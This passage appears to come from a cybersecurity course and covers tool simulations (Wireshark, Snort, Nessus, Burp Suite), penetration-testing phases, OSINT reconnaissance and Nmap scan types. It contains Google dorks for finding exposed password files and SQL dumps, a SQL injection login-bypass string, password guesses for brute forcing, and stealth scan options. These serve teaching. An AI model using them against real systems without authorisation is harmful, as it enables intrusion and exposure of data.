            protocols[protocol] = protocols.get(protocol, 0) + 1

        print("📊 Protocol Distribution:")
        for protocol, count in protocols.items():
            print(f"  {protocol}: {count} packets")

        # Detect potential issues
        issues = []
        for packet in self.packets:
            if packet['protocol'] == 'HTTP' and 'password' in str(packet).lower():
                issues.append(f"HTTP password in plaintext: {packet['src']} -> {packet['dst']}")

        if issues:
            print("\n⚠️ Security Issues Detected:")
            for issue in issues:
                print(f"  - {issue}")

# Example
wireshark = WiresharkSimulation()
# Simulate packets
wireshark.capture_packet({"protocol": "TCP", "src": "192.168.1.10", "dst": "192.168.1.1", "data": "SYN"})
wireshark.capture_packet({"protocol": "HTTP", "src": "192.168.1.10", "dst": "192.168.1.1", "data": "GET /login password=admin"})
wireshark.capture_packet({"protocol": "DNS", "src": "192.168.1.10", "dst": "8.8.8.8", "data": "Query: google.com"})
wireshark.capture_packet({"protocol": "TCP", "src": "192.168.1.1", "dst": "192.168.1.10", "data": "SYN-ACK"})
wireshark.analyze_traffic()

Snort (IDS/IPS)

Snort is an open-source intrusion detection and prevention system. It analyzes network traffic in real-time and alerts on suspicious activity.

Key Snort Features:

FeatureDescription
Packet SniffingCapture and analyze packets
Rule-Based DetectionMatch traffic against security rules
AlertingGenerate alerts on matches
Inline PreventionDrop malicious traffic
# Conceptual Snort simulation
class SnortSimulation:
    def __init__(self):
        self.rules = []
        self.alerts = []

    def add_rule(self, rule_name, condition, action):
        """Add a Snort rule"""
        self.rules.append({
            "name": rule_name,
            "condition": condition,
            "action": action
        })
        print(f"✅ Added rule: {rule_name}")

    def analyze_packet(self, packet):
        """Analyze a packet against rules"""
        for rule in self.rules:
            if rule['condition'] in str(packet).lower():
                print(f"⚠️ ALERT: {rule['action']} - {rule['name']}")
                self.alerts.append({
                    "rule": rule['name'],
                    "packet": packet,
                    "action": rule['action']
                })
                return True
        return False

    def process_packets(self, packets):
        """Process multiple packets"""
        print("\n=== Snort IDS Analysis ===")
        for packet in packets:
            self.analyze_packet(packet)

        print(f"\n📊 Total alerts: {len(self.alerts)}")
        if self.alerts:
            print("Alerts:")
            for alert in self.alerts:
                print(f"  - {alert['rule']}: {alert['action']}")

# Example
snort = SnortSimulation()
snort.add_rule("SYN Flood Detection", "flood", "Alert and Drop")
snort.add_rule("Malicious Domain", "malware", "Alert")
snort.add_rule("Port Scan", "scan", "Alert")

packets = [
    {"src": "192.168.1.100", "dst": "192.168.1.10", "data": "SYN flood"},
    {"src": "192.168.1.100", "dst": "malware.com", "data": "malicious traffic"}
]
snort.process_packets(packets)

3.2.3 Vulnerability Scanning Tools

Nessus

Nessus is a comprehensive vulnerability scanner that identifies security weaknesses in systems, applications, and networks.

Key Features:

  • Comprehensive vulnerability database
  • Automated scanning
  • Detailed reporting
  • Credentialed scanning
  • Compliance checking
# Conceptual Nessus simulation
class NessusSimulation:
    def __init__(self):
        self.vulnerabilities = []

    def scan_target(self, target):
        """Simulate scanning a target"""
        print(f"🔍 Scanning target: {target}")

        # Simulated vulnerabilities
        vulnerabilities = [
            {"severity": "Critical", "name": "SMB Remote Code Execution", "cve": "CVE-2017-0144"},
            {"severity": "High", "name": "Apache Struts 2.3.x RCE", "cve": "CVE-2017-5638"},
            {"severity": "Medium", "name": "OpenSSL Heartbleed", "cve": "CVE-2014-0160"},
            {"severity": "Low", "name": "SSL/TLS Weak Cipher Suites", "cve": "CVE-2011-1473"}
        ]

        for vuln in vulnerabilities:
            self.vulnerabilities.append(vuln)
            print(f"  🔴 {vuln['severity']}: {vuln['name']} ({vuln['cve']})")

        return self.vulnerabilities

    def generate_report(self):
        """Generate a vulnerability report"""
        print("\n=== Nessus Scan Report ===")
        print(f"Total vulnerabilities: {len(self.vulnerabilities)}")

        severity_counts = {}
        for vuln in self.vulnerabilities:
            severity = vuln['severity']
            severity_counts[severity] = severity_counts.get(severity, 0) + 1

        print("\n📊 Severity Distribution:")
        for severity, count in severity_counts.items():
            print(f"  {severity}: {count}")

        print("\n🛠️ Recommendations:")
        print("  - Apply critical patches immediately")
        print("  - Review high severity findings")
        print("  - Schedule remediation for medium findings")
        print("  - Review low findings for best practices")

# Example
nessus = NessusSimulation()
nessus.scan_target("203.0.113.10")
nessus.generate_report()

OpenVAS

OpenVAS is the open-source alternative to Nessus, providing comprehensive vulnerability scanning capabilities.

# Conceptual OpenVAS simulation
class OpenVASSimulation:
    def __init__(self):
        self.findings = []

    def scan_target(self, target):
        """Simulate OpenVAS scan"""
        print(f"🔍 OpenVAS scanning: {target}")

        # Simulated findings
        findings = [
            {"severity": "Critical", "description": "OpenSSH 7.2 RCE", "cvss": 9.8},
            {"severity": "High", "description": "Apache 2.4.6 DoS", "cvss": 7.5},
            {"severity": "Medium", "description": "MySQL 5.6 Weak Cipher", "cvss": 5.0},
            {"severity": "Info", "description": "SSL Certificate Expiring Soon", "cvss": 0.0}
        ]

        for finding in findings:
            self.findings.append(finding)
            print(f"  {finding['severity']}: {finding['description']} (CVSS: {finding['cvss']})")

        return self.findings

    def generate_report(self):
        """Generate report"""
        print("\n=== OpenVAS Scan Report ===")
        print(f"Total findings: {len(self.findings)}")

        critical = len([f for f in self.findings if f['severity'] == 'Critical'])
        high = len([f for f in self.findings if f['severity'] == 'High'])
        medium = len([f for f in self.findings if f['severity'] == 'Medium'])
        info = len([f for f in self.findings if f['severity'] == 'Info'])

        print(f"🔴 Critical: {critical}")
        print(f"🔶 High: {high}")
        print(f"🟡 Medium: {medium}")
        print(f"ℹ️ Info: {info}")

# Example
openvas = OpenVASSimulation()
openvas.scan_target("192.168.1.10")
openvas.generate_report()

Burp Suite

Burp Suite is the premier web application security testing tool. It intercepts and modifies HTTP traffic, enabling comprehensive web application testing.

Key Features:

  • Proxy (intercept HTTP traffic)
  • Repeater (replay requests)
  • Intruder (automated attacks)
  • Scanner (vulnerability detection)
  • Sequencer (session analysis)
# Conceptual Burp Suite simulation
class BurpSuiteSimulation:
    def __init__(self):
        self.proxy_requests = []
        self.repeater_history = []
        self.intruder_results = []

    def intercept_request(self, request):
        """Intercept and capture requests"""
        print(f"📨 Intercepted: {request['method']} {request['url']}")
        self.proxy_requests.append(request)
        return request

    def send_to_repeater(self, request):
        """Send request to Repeater for manual testing"""
        print(f"🔁 Sending to Repeater: {request['method']} {request['url']}")
        self.repeater_history.append(request)
        return request

    def modify_and_send(self, request, modifications):
        """Modify request and send"""
        modified = request.copy()
        for key, value in modifications.items():
            modified[key] = value
        print(f"✏️ Modified request: {modified}")
        return modified

    def send_to_intruder(self, request, positions, payloads):
        """Send to Intruder for automated attacks"""
        print(f"🚀 Sending to Intruder: {request['method']} {request['url']}")
        print(f"🎯 Positions: {positions}")
        print(f"📦 Payloads: {payloads[:3]}...")

        # Simulate Intruder results
        for payload in payloads:
            result = {
                "request": request,
                "payload": payload,
                "response_code": 200 if "admin" in payload else 403
            }
            self.intruder_results.append(result)

        return self.intruder_results

    def analyze_results(self):
        """Analyze test results"""
        print("\n=== Burp Suite Analysis ===")
        print(f"📊 Intercepted requests: {len(self.proxy_requests)}")
        print(f"🔁 Repeater requests: {len(self.repeater_history)}")
        print(f"🚀 Intruder results: {len(self.intruder_results)}")

        # Check for successful responses
        successful = [r for r in self.intruder_results if r['response_code'] == 200]
        if successful:
            print(f"✅ {len(successful)} payloads returned success responses")
            for result in successful[:3]:
                print(f"  - Payload: {result['payload']} (200 OK)")

# Example
burp = BurpSuiteSimulation()
request = {"method": "POST", "url": "/login", "body": "username=admin&password=password"}
burp.intercept_request(request)
burp.send_to_repeater(request)
burp.modify_and_send(request, {"body": "username=admin'--&password=test"})
burp.send_to_intruder(request, ["username"], ["admin", "admin123", "password", "root"])
burp.analyze_results()

You have now completed Phase 3: Cyber Threats & Attack Vectors.

Key Topics Covered:

CategoryTopics
MalwareViruses, Worms, Trojans, Ransomware, Spyware, Adware, Rootkits, Bootkits, Fileless Malware
Social EngineeringPhishing, Spear Phishing, Whaling, Vishing, Smishing, Physical Attacks
Network AttacksDoS/DDoS, SYN Flood, UDP Flood, HTTP Flood, Amplification Attacks
MITM AttacksARP Spoofing, DNS Spoofing, SSL/TLS Hijacking, WiFi Eavesdropping
Advanced ThreatsZero-Day, APT, Supply Chain Attacks, Nation-State Actors
Password AttacksBrute Force, Dictionary, Rainbow Tables, Credential Stuffing, Password Spraying
Insider ThreatsMalicious, Negligent, Compromised
Attack ToolsMetasploit, Nmap, Wireshark, Snort, Nessus, OpenVAS, Burp Suite

Practical Examples Completed:

  • Malware behavior simulation
  • Phishing and social engineering scenarios
  • DoS/DDoS attack simulation
  • MITM attack simulation
  • Zero-Day and APT scenarios
  • Password attack simulations
  • Tool usage demonstrations

PHASE 4: OFFENSIVE SECURITY (RED TEAM / PENETRATION TESTING)

4.1 What Penetration Testing Actually Is

Penetration Testing (Pentesting) is the process of testing a system by attacking it legally to find vulnerabilities. You act like a hacker, but: With permission, In a safe lab, To improve security.

Penetration testing is a structured, authorized simulation of a real attack against a system, network, or application. The objective is to identify vulnerabilities before a real attacker does, demonstrate the realistic impact of those vulnerabilities, and provide the client with actionable guidance for remediation. It is not a vulnerability scan — a scanner runs automated checks and produces a list of potential issues. A penetration test uses the same tools and techniques as a real attacker, chains vulnerabilities together to achieve meaningful impact, and produces findings that reflect what an actual adversary could accomplish.

Penetration Testing vs Vulnerability Scanning:

AspectVulnerability ScanningPenetration Testing
ApproachAutomatedManual + Automated
ObjectiveIdentify potential vulnerabilitiesExploit vulnerabilities to demonstrate impact
DepthSurface-levelDeep, chained exploitation
OutputList of vulnerabilitiesReport with proof of exploitation
ResourcesScanner onlyHuman expertise required
False PositivesCommonMinimized through validation

4.1.1 Penetration Testing Methodology

The penetration testing methodology is divided into five phases: reconnaissance, scanning and enumeration, exploitation, post-exploitation, and reporting. These phases are sequential but not rigid. During exploitation you will frequently return to enumeration. During post-exploitation you will conduct further reconnaissance of internal systems. The phases provide structure, not a script.

The 5 Phases (Very Important):

PhaseNameDescription
Phase 1Reconnaissance (Information Gathering)Collecting information about the target without actively engaging it
Phase 2Scanning and EnumerationActively probing the target to discover services and vulnerabilities
Phase 3Exploitation (Actual Attack Phase)Using discovered vulnerabilities to gain access
Phase 4Post ExploitationMaintaining access, escalating privileges, moving laterally
Phase 5Reporting (Very Important)Documenting findings and providing remediation guidance
class PenetrationTestFramework:
    """Conceptual framework for understanding penetration testing phases"""

    def __init__(self, target, scope):
        self.target = target
        self.scope = scope
        self.findings = []
        self.access_obtained = False
        self.phase = 1

    def phase_1_reconnaissance(self):
        """Passive information gathering"""
        print(f"\n📍 PHASE 1: RECONNAISSANCE")
        print(f"📌 Target: {self.target}")
        print(f"🔍 Gathering OSINT about {self.target}")
        print(f"📊 Passive reconnaissance completed")
        self.phase = 2
        return {"domains": ["example.com"], "emails": ["admin@example.com"]}

    def phase_2_scanning(self):
        """Active scanning and enumeration"""
        print(f"\n📍 PHASE 2: SCANNING AND ENUMERATION")
        print(f"📡 Scanning {self.target} for open ports...")
        print(f"🔍 Enumerating services...")
        print(f"📊 Open ports found: 22 (SSH), 80 (HTTP), 443 (HTTPS)")
        self.phase = 3
        return {"open_ports": [22, 80, 443], "services": {"22": "OpenSSH", "80": "Apache", "443": "nginx"}}

    def phase_3_exploitation(self):
        """Gaining access to the target"""
        print(f"\n📍 PHASE 3: EXPLOITATION")
        print(f"⚡ Attempting to exploit vulnerabilities...")
        print(f"🔓 Exploiting Apache vulnerability...")
        print(f"✅ Access obtained on {self.target}")
        self.access_obtained = True
        self.phase = 4
        return {"shell_access": True, "user": "www-data"}

    def phase_4_post_exploitation(self):
        """Maintaining access and escalation"""
        print(f"\n📍 PHASE 4: POST-EXPLOITATION")
        print(f"🔑 Attempting privilege escalation...")
        print(f"✅ Root access obtained")
        print(f"🔐 Establishing persistence...")
        print(f"📤 Discovering sensitive data...")
        return {"privilege_escalated": True, "user": "root"}

    def phase_5_reporting(self):
        """Documenting findings"""
        print(f"\n📍 PHASE 5: REPORTING")
        print(f"📄 Generating comprehensive report")
        print(f"📊 Findings: 5 vulnerabilities discovered")
        print(f"📌 Critical: 2, High: 2, Medium: 1")
        print(f"🛠️ Remediation recommendations provided")
        return "report.pdf"

    def run_engagement(self):
        """Run the complete penetration testing engagement"""
        print("\n" + "="*60)
        print("🔴 PENETRATION TESTING ENGAGEMENT")
        print("="*60)
        print(f"🎯 Target: {self.target}")
        print(f"📋 Scope: {self.scope}")
        print("="*60)

        self.phase_1_reconnaissance()
        self.phase_2_scanning()
        self.phase_3_exploitation()
        self.phase_4_post_exploitation()
        report = self.phase_5_reporting()

        print("\n" + "="*60)
        print("✅ ENGAGEMENT COMPLETE")
        print("="*60)
        print(f"📄 Report: {report}")
        print("="*60)

# Example
pentest = PenetrationTestFramework("example.com", "Web Application Testing")
pentest.run_engagement()

Every phase of a penetration test must remain strictly within the scope defined in the engagement authorisation. If the authorisation says test the web application at app.company.com, you do not test the company’s other subdomains, you do not attempt to access their internal network unless explicitly authorised, and you do not retain any data you access. The scope document is the boundary of everything you do.

4.1.2 Types of Penetration Tests

By Knowledge Level:

TypeDescriptionKnowledge ProvidedProsCons
Black BoxNo prior knowledge, external perspectiveNo informationRealistic attack simulationTime-consuming
White BoxFull knowledge, source code availableComplete informationThorough testingLess realistic
Gray BoxPartial knowledge, credentials providedSome informationBalanced approachPartial realism

By Testing Location:

TypeDescription
ExternalTesting from outside the network perimeter
InternalTesting from inside the network
Web ApplicationApplication-specific testing
MobileiOS/Android application testing
PhysicalPhysical facility security testing
Social EngineeringHuman-based testing
class PenetrationTestTypes:
    """Different types of penetration tests"""

    def __init__(self):
        self.test_types = {
            "Black Box": {
                "knowledge": "None",
                "perspective": "External attacker",
                "example": "Testing a website with no prior information",
                "pros": "Realistic simulation, tests detection capabilities",
                "cons": "Time-consuming, may miss some vulnerabilities"
            },
            "White Box": {
                "knowledge": "Complete",
                "perspective": "Internal auditor",
                "example": "Testing with full source code access",
                "pros": "Thorough, finds more vulnerabilities",
                "cons": "Less realistic, time-intensive"
            },
            "Gray Box": {
                "knowledge": "Partial",
                "perspective": "Privileged insider",
                "example": "Testing with credentials but limited information",
                "pros": "Balanced, efficient",
                "cons": "May not find all issues"
            }
        }

    def display_test_types(self):
        """Display different penetration test types"""
        print("=== Types of Penetration Tests ===\n")

        for test_type, details in self.test_types.items():
            print(f"🔹 {test_type}")
            print(f"   Knowledge: {details['knowledge']}")
            print(f"   Perspective: {details['perspective']}")
            print(f"   Example: {details['example']}")
            print(f"   ✅ Pros: {details['pros']}")
            print(f"   ❌ Cons: {details['cons']}")
            print()

    def display_location_types(self):
        """Display test types by location"""
        print("=== Location-Based Test Types ===\n")

        location_types = {
            "External": "Testing from outside the network perimeter",
            "Internal": "Testing from inside the network",
            "Web Application": "Testing web applications specifically",
            "Mobile": "Testing iOS/Android applications",
            "Physical": "Testing physical facility security",
            "Social Engineering": "Testing human vulnerabilities"
        }

        for location, description in location_types.items():
            print(f"🔹 {location}: {description}")

# Example
test_types = PenetrationTestTypes()
test_types.display_test_types()
test_types.display_location_types()

4.2 Phase One: Reconnaissance (Finding Information)

Reconnaissance is the information-gathering phase. The objective is to learn as much as possible about the target — its infrastructure, personnel, technology stack, business operations, and potential attack surfaces — before interacting with it in any way that could trigger detection or alerts.

Types of Reconnaissance:

TypeDescriptionDetection Risk
Passive ReconnaissanceNo direct interaction with targetNone (no logs generated)
Active ReconnaissanceDirect interaction with targetHigh (generates logs)

Passive reconnaissance generates no logs on the target’s systems. Active reconnaissance does, and on a well-monitored network it can trigger alerts. In a real engagement, you conduct passive reconnaissance first and as thoroughly as possible. The more you learn before touching the target, the more targeted and efficient your active techniques become, and the lower your risk of triggering detection at the wrong moment.

class ReconnaissanceTypes:
    """Types of reconnaissance in penetration testing"""

    def __init__(self):
        self.passive_methods = [
            "Google Dorking",
            "WHOIS Lookup",
            "Social Media Analysis",
            "DNS Enumeration",
            "Shodan Search",
            "SecurityTrails"
        ]

        self.active_methods = [
            "Port Scanning",
            "Vulnerability Scanning",
            "Web Directory Brute-forcing",
            "Service Enumeration",
            "Network Mapping"
        ]

    def display_methods(self):
        """Display reconnaissance methods"""
        print("=== Reconnaissance Methods ===\n")

        print("🔹 Passive Reconnaissance (No Detection Risk):")
        for method in self.passive_methods:
            print(f"   - {method}")

        print("\n🔹 Active Reconnaissance (Detection Risk):")
        for method in self.active_methods:
            print(f"   - {method}")

        print("\n📊 Order of Operations:")
        print("   1. Perform passive reconnaissance first")
        print("   2. Analyze passive findings")
        print("   3. Plan targeted active reconnaissance")
        print("   4. Execute active reconnaissance strategically")

# Example
recon = ReconnaissanceTypes()
recon.display_methods()

4.2.1 Information Gathering Methods

Method 1: Whois Lookup

WHOIS is a query protocol that returns registration information about domain names and IP address ranges. For a given domain, WHOIS can reveal the name and contact details of the registrant, the registrar used to register the domain, the dates of creation and expiration, and the authoritative name servers. For an IP address range, WHOIS returns the organisation to which the range is allocated, their address, and their abuse contact.

import whois
import socket

def whois_lookup(domain):
    """Perform a WHOIS lookup on a domain"""
    print(f"🔍 WHOIS Lookup for: {domain}")
    print("="*50)

    try:
        w = whois.whois(domain)
        print(f"📌 Domain: {w.domain_name}")
        print(f"📌 Registrar: {w.registrar}")
        print(f"📌 Creation Date: {w.creation_date}")
        print(f"📌 Expiration Date: {w.expiration_date}")
        print(f"📌 Name Servers: {w.name_servers}")
        print(f"📌 Registrant: {w.name}")
        print(f"📌 Email: {w.emails}")
        print(f"📌 Organization: {w.org}")
    except Exception as e:
        print(f"❌ Error: {e}")

# Example
whois_lookup("google.com")

Method 2: Google Dorking

Google dorking (also called Google hacking) uses advanced search operators to find information indexed by Google that organisations did not intend to make publicly accessible.

Common Google Dorks:

Search OperatorPurposeExample
site:Search within a specific domainsite:example.com
filetype:Search for specific file typesfiletype:pdf
intitle:Search for text in page titleintitle:"index of"
inurl:Search for text in URLinurl:admin
"keyword"Exact phrase search"password"

Practical Example Searches:

# Find all PDF files on example.com
site:example.com filetype:pdf

# Find directory listing pages
intitle:"index of" site:example.com

# Find files containing passwords
site:example.com "password" filetype:txt

# Find WordPress admin pages
inurl:wp-admin site:example.com

# Find SQL database dumps
site:example.com filetype:sql
class GoogleDorkingSimulation:
    """Simulate Google dorking concepts"""

    def __init__(self):
        self.dorks = [
            {"name": "PDF Files", "dork": 'site:example.com filetype:pdf', "purpose": "Find PDF documents"},
            {"name": "Directory Listing", "dork": 'intitle:"index of" site:example.com', "purpose": "Find exposed directories"},
            {"name": "Passwords", "dork": 'site:example.com "password" filetype:txt', "purpose": "Find password files"},
            {"name": "Admin Pages", "dork": 'inurl:admin site:example.com', "purpose": "Find admin interfaces"},
            {"name": "SQL Dumps", "dork": 'site:example.com filetype:sql', "purpose": "Find SQL database dumps"}
        ]

    def display_dorks(self):
        """Display Google dorks"""
        print("=== Google Dorking Examples ===\n")
        for dork in self.dorks:
            print(f"🔹 {dork['name']}")
            print(f"   Dork: {dork['dork']}")
            print(f"   Purpose: {dork['purpose']}")
            print()

    def security_check(self, target_domain):
        """Check if a domain is vulnerable to dorking"""
        print(f"🔍 Security Check for: {target_domain}")
        print("📋 Sensitive items to search for:")
        print(f"   - Is there a directory listing exposed?")
        print(f"   - Are there sensitive file types (PDF, SQL, XLS)?")
        print(f"   - Are admin pages publicly indexed?")
        print(f"   - Are configuration files exposed?")
        print(f"   - Are there user credentials in indexed files?")

# Example
dorking = GoogleDorkingSimulation()
dorking.display_dorks()

Method 3: OSINT Framework

The OSINT Framework (osintframework.com) is a comprehensive collection of open source intelligence tools organized by category. It provides a structured approach to gathering intelligence from publicly available sources.

OSINT Categories:

CategorySources
EmailHunter.io, EmailHunter, HaveIBeenPwned
Social MediaTwitter, LinkedIn, Facebook, Instagram
DomainsWHOIS, DNSdumpster, SecurityTrails
PeoplePipl, Spokeo, Intelius
FilesGoogle Dorks, File Search Engines
NetworksShodan, Censys, ZoomEye
class OSINTFramework:
    """Conceptual OSINT framework"""

    def __init__(self):
        self.intel_sources = {
            "Email": ["Hunter.io", "EmailHunter", "HaveIBeenPwned"],
            "Social Media": ["Twitter", "LinkedIn", "Facebook", "Instagram"],
            "Domains": ["WHOIS", "DNSdumpster", "SecurityTrails"],
            "People": ["Pipl", "Spokeo", "Intelius"],
            "Files": ["Google Dorks", "File Search Engines"],
            "Networks": ["Shodan", "Censys", "ZoomEye"]
        }

    def display_sources(self):
        """Display OSINT sources by category"""
        print("=== OSINT Framework Categories ===\n")
        for category, sources in self.intel_sources.items():
            print(f"🔹 {category}:")
            for source in sources:
                print(f"   - {source}")
            print()

    def reconnaissance_plan(self, target):
        """Create a reconnaissance plan"""
        print(f"\n=== OSINT Reconnaissance Plan for: {target} ===")
        print("1. 🎯 Domain Intelligence")
        print("   - Perform WHOIS lookup")
        print("   - Enumerate subdomains")
        print("   - DNS record analysis")
        print("2. 📧 Email Discovery")
        print("   - Use theHarvester")
        print("   - Check Hunter.io")
        print("   - Search breach databases")
        print("3. 👤 Social Media Analysis")
        print("   - LinkedIn for employees")
        print("   - Twitter for company information")
        print("   - Facebook for corporate presence")
        print("4. 🌐 Technology Stack")
        print("   - Use BuiltWith")
        print("   - Check Wappalyzer")
        print("   - Analyze HTTP headers")
        print("5. 🔍 Information Exposure")
        print("   - Google dorking")
        print("   - File search")
        print("   - Pastebin monitoring")

# Example
osint = OSINTFramework()
osint.display_sources()
osint.reconnaissance_plan("example.com")

4.2.2 OSINT Tools

Maltego

Maltego is a graphical open source intelligence tool that visualises relationships between entities — people, organisations, domains, IP addresses, email addresses, and social media profiles. It queries dozens of data sources simultaneously and presents the results as a graph, showing how entities connect to each other.

class MaltegoSimulation:
    """Simulate Maltego functionality"""

    def __init__(self):
        self.entities = {}
        self.relationships = []

    def add_entity(self, entity_type, name, properties=None):
        """Add an entity to the graph"""
        self.entities[name] = {
            "type": entity_type,
            "properties": properties or {}
        }
        print(f"📌 Added {entity_type}: {name}")

    def add_relationship(self, entity1, entity2, relationship_type):
        """Add a relationship between entities"""
        self.relationships.append({
            "source": entity1,
            "target": entity2,
            "type": relationship_type
        })
        print(f"🔗 {entity1} --{relationship_type}--> {entity2}")

    def visualize_graph(self):
        """Display the relationship graph"""
        print("\n=== Relationship Graph ===")
        print("\nEntities:")
        for name, details in self.entities.items():
            print(f"  - {name} ({details['type']})")

        print("\nRelationships:")
        for rel in self.relationships:
            print(f"  {rel['source']} --{rel['type']}--> {rel['target']}")

        print("\n🔍 Insights:")
        print("   - Company: Example Corp")
        print("   - Domain: example.com")
        print("   - IP: 203.0.113.10")
        print("   - Subdomains: mail.example.com, www.example.com")
        print("   - Emails: admin@example.com, info@example.com")

# Example
maltego = MaltegoSimulation()
maltego.add_entity("Domain", "example.com")
maltego.add_entity("IP Address", "203.0.113.10")
maltego.add_entity("Organization", "Example Corp")
maltego.add_entity("Email", "admin@example.com")
maltego.add_entity("Email", "info@example.com")
maltego.add_entity("Subdomain", "mail.example.com")
maltego.add_entity("Subdomain", "www.example.com")
maltego.add_relationship("example.com", "203.0.113.10", "resolves_to")
maltego.add_relationship("example.com", "Example Corp", "owned_by")
maltego.add_relationship("admin@example.com", "Example Corp", "employee_of")
maltego.add_relationship("info@example.com", "Example Corp", "employee_of")
maltego.add_relationship("mail.example.com", "example.com", "subdomain_of")
maltego.add_relationship("www.example.com", "example.com", "subdomain_of")
maltego.visualize_graph()

TheHarvester

TheHarvester is a tool that queries multiple public sources for email addresses, subdomains, and hostnames associated with a target domain.

class TheHarvesterSimulation:
    """Simulate theHarvester functionality"""

    def __init__(self, target_domain):
        self.target = target_domain
        self.results = {}

    def gather_emails(self):
        """Simulate gathering emails from public sources"""
        print(f"📧 Gathering emails for {self.target}")
        emails = [
            f"admin@{self.target}",
            f"info@{self.target}",
            f"support@{self.target}",
            f"sales@{self.target}",
            f"ceo@{self.target}"
        ]
        self.results['emails'] = emails
        return emails

    def gather_subdomains(self):
        """Simulate gathering subdomains"""
        print(f"🔍 Gathering subdomains for {self.target}")
        subdomains = [
            f"www.{self.target}",
            f"mail.{self.target}",
            f"ftp.{self.target}",
            f"dev.{self.target}",
            f"api.{self.target}"
        ]
        self.results['subdomains'] = subdomains
        return subdomains

    def gather_hostnames(self):
        """Simulate gathering hostnames"""
        print(f"🖥️ Gathering hostnames for {self.target}")
        hostnames = [
            f"server01.{self.target}",
            f"server02.{self.target}",
            f"db.{self.target}",
            f"vpn.{self.target}"
        ]
        self.results['hostnames'] = hostnames
        return hostnames

    def display_results(self):
        """Display gathered information"""
        print("\n" + "="*50)
        print(f"📊 theHarvester Results for {self.target}")
        print("="*50)

        print(f"\n📧 Emails ({len(self.results.get('emails', []))} found):")
        for email in self.results.get('emails', []):
            print(f"   - {email}")

        print(f"\n🌐 Subdomains ({len(self.results.get('subdomains', []))} found):")
        for subdomain in self.results.get('subdomains', []):
            print(f"   - {subdomain}")

        print(f"\n🖥️ Hostnames ({len(self.results.get('hostnames', []))} found):")
        for hostname in self.results.get('hostnames', []):
            print(f"   - {hostname}")

        print("\n📌 Next Steps:")
        print("   - Verify discovered emails")
        print("   - Test subdomains for web applications")
        print("   - Scan hostnames for open ports")

# Example
harvester = TheHarvesterSimulation("example.com")
harvester.gather_emails()
harvester.gather_subdomains()
harvester.gather_hostnames()
harvester.display_results()

Shodan

Shodan is a search engine specifically for internet-connected devices. It indexes the banners and responses of network services — the information a server returns when you connect to it. A Shodan search can find every internet-connected device running a specific version of a web server, every exposed database with no authentication required, every industrial control system with a Telnet interface, and every CCTV camera accessible without a password.

class ShodanSimulation:
    """Simulate Shodan search functionality"""

    def __init__(self):
        self.devices = []

    def search_device(self, query):
        """Simulate searching for devices on Shodan"""
        print(f"🔍 Shodan Search: {query}")

        # Simulated results
        results = [
            {"ip": "203.0.113.10", "port": 80, "banner": "Apache/2.4.6", "org": "Example Corp"},
            {"ip": "203.0.113.11", "port": 22, "banner": "OpenSSH 7.4", "org": "Example Corp"},
            {"ip": "203.0.113.12", "port": 443, "banner": "nginx/1.14.0", "org": "Example Corp"},
            {"ip": "203.0.113.13", "port": 3306, "banner": "MySQL 5.7", "org": "Example Corp"}
        ]

        self.devices = results
        return results

    def display_results(self):
        """Display Shodan search results"""
        print("\n=== Shodan Search Results ===")
        for device in self.devices:
            print(f"\n📌 IP: {device['ip']}")
            print(f"   Port: {device['port']}")
            print(f"   Banner: {device['banner']}")
            print(f"   Organization: {device['org']}")

# Example
shodan = ShodanSimulation()
shodan.search_device("org:'Example Corp'")
shodan.display_results()

4.2.3 Social Media Intelligence

Social media intelligence involves gathering information from social media platforms to build a profile of the target organisation and its employees.

Key Social Media Intelligence Sources:

PlatformInformation Gathered
LinkedInEmployee names, job titles, company structure, skills
TwitterCompany updates, employee activities, technology usage
FacebookCompany pages, employee profiles, location information
InstagramPhysical locations, employee interests, company culture
GitHubCode repositories, internal projects, developer activity
class SocialMediaIntelligence:
    """Simulate social media intelligence gathering"""

    def __init__(self, company_name):
        self.company = company_name
        self.intel = {}

    def gather_linkedin(self):
        """Gather LinkedIn intelligence"""
        print(f"🔍 LinkedIn Intelligence for {self.company}")
        employees = [
            {"name": "John Smith", "title": "CEO", "tenure": "2018-Present"},
            {"name": "Jane Doe", "title": "CTO", "tenure": "2019-Present"},
            {"name": "Mike Johnson", "title": "Security Engineer", "tenure": "2020-Present"}
        ]
        self.intel['linkedin'] = employees
        return employees

    def gather_twitter(self):
        """Gather Twitter intelligence"""
        print(f"🐦 Twitter Intelligence for {self.company}")
        tweets = [
            "We're hiring! Join our growing team at Example Corp",
            "Check out our new website using React and Node.js",
            "Our servers are running on AWS with Ubuntu 20.04"
        ]
        self.intel['twitter'] = tweets
        return tweets

    def gather_github(self):
        """Gather GitHub intelligence"""
        print(f"🐙 GitHub Intelligence for {self.company}")
        repos = [
            {"name": "example-app", "language": "Python", "stars": 50},
            {"name": "example-api", "language": "Node.js", "stars": 30}
        ]
        self.intel['github'] = repos
        return repos

    def analyze_intelligence(self):
        """Analyze gathered intelligence"""
        print("\n=== Social Media Intelligence Analysis ===")
        print(f"Company: {self.company}")

        if 'linkedin' in self.intel:
            print(f"\n👤 Employees ({len(self.intel['linkedin'])} found):")
            for employee in self.intel['linkedin']:
                print(f"   - {employee['name']} - {employee['title']}")

        if 'twitter' in self.intel:
            print(f"\n🐦 Key Twitter Information:")
            for tweet in self.intel['twitter']:
                print(f"   - {tweet[:50]}...")

        if 'github' in self.intel:
            print(f"\n🐙 Repositories ({len(self.intel['github'])} found):")
            for repo in self.intel['github']:
                print(f"   - {repo['name']} ({repo['language']})")

        print("\n🔴 Identified Attack Vectors:")
        print("   - Technology stack revealed (React, Node.js, AWS, Ubuntu)")
        print("   - Employee information available for targeting")
        print("   - Internal project names disclosed")
        print("   - Development practices exposed")

# Example
smi = SocialMediaIntelligence("Example Corp")
smi.gather_linkedin()
smi.gather_twitter()
smi.gather_github()
smi.analyze_intelligence()

4.3 Phase Two: Scanning and Enumeration

Scanning and enumeration actively interact with the target to discover what is running and to extract detailed information about each service. This phase produces the technical inventory that drives exploitation decisions.

4.3.1 Port Scanning with Nmap (Most Important Tool)

Nmap (Network Mapper) is the most essential tool for network discovery and security auditing. It provides comprehensive scanning capabilities that are fundamental to any penetration test.

Nmap Scan Types:

Scan TypeFlagDescriptionStealth
SYN Scan-sSHalf-open scan, most commonHigh
Connect Scan-sTFull TCP connectionLow
UDP Scan-sUUDP port scanningMedium
ACK Scan-sATests firewall rulesHigh
Window Scan-sWTCP window scanHigh
Version Detection-sVService version detectionLow
OS Detection-OOperating system detectionLow

Nmap Timing Templates:

TemplateFlagDescription
Paranoid-T0Very slow, avoids detection
Sneaky-T1Slow, some evasion
Polite-T2Slower, less resource usage
Normal-T3Default, balanced
Aggressive-T4Fast, less stealth
